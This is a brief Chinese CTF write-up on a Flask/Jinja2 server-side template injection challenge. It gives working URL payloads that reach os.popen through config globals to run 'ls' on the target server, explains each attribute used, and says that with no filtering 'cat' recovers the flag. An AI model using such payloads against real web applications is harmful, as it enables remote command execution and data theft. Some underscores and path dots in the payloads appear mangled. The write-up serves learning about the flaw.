首先打开之后是上面这样,题目有提示是ssti,所以看了一下各种关于ssti的介绍 暂推 ssti 然后其中有讲到什么是注入,说是格式化字符串漏洞的一种体现,然后我就又找了一篇关于格式化字符串漏洞的文章(感觉学这个就是套娃啊,我都。。。)大概了解完之后
试着传错误语句,查看是什么类型的模板
python的flask模板注入
对于ssti,我们可以利用漏洞ls一下
/?flag={{%20config.class.init.globals[%27os%27].popen(%27ls%20…/%27).read()%20}}
其中
##class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
##init 初始化类,返回的类型是function
##globals[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
##os.popen() 方法用于从一个命令打开一个管道。
##open() 方法用于打开一个文件,并返回文件对象
(这部分解释来源https://www.cnblogs.com/xiaochaofang/p/14533709.html)
之后看到的是文件目录,有很多个文件,我们可以每个试试
比如说app文件 http://114.67.246.176:14925/?flag={{%20config.class.init.globals[%27os%27].popen(%27ls%20…/app/%27).read()%20}}
由于没有过滤直接cat就欧克了